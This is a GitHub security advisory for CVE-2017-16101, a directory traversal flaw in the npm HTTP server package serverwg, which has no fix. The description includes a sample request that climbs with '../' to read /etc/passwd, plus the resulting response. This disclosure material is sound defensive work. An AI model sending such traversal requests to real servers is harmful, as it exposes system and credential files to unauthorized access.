GitHub Advisoryadvisory · npm

GHSA-2f29-pmpx-vj62 Directory Traversal in serverwg

HIGH Published 2020-09-01 Modified 2023-09-07 Official page ↗
Aliases
CVE-2017-16101
Ecosystem
npm
Packages
serverwg
Severity
High
CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weaknesses
CWE-22
Reviewed
2020-08-31

Affected packages

• npm serverwg: >= 0.0.0 (no fix yet)

Description

`serverwg` is a simple http server. `serverwg` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the URL. Example request: ```http GET /../../../../../../../../../../etc/passwd HTTP/1.1 host:foo ``` and response: ``` HTTP/1.1 200 OK Date: Wed, 17 May 2017 22:52:08 GMT Connection: keep-alive {contents of /etc/passwd} ``` Recommendation No patch is available for this vulnerability. It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References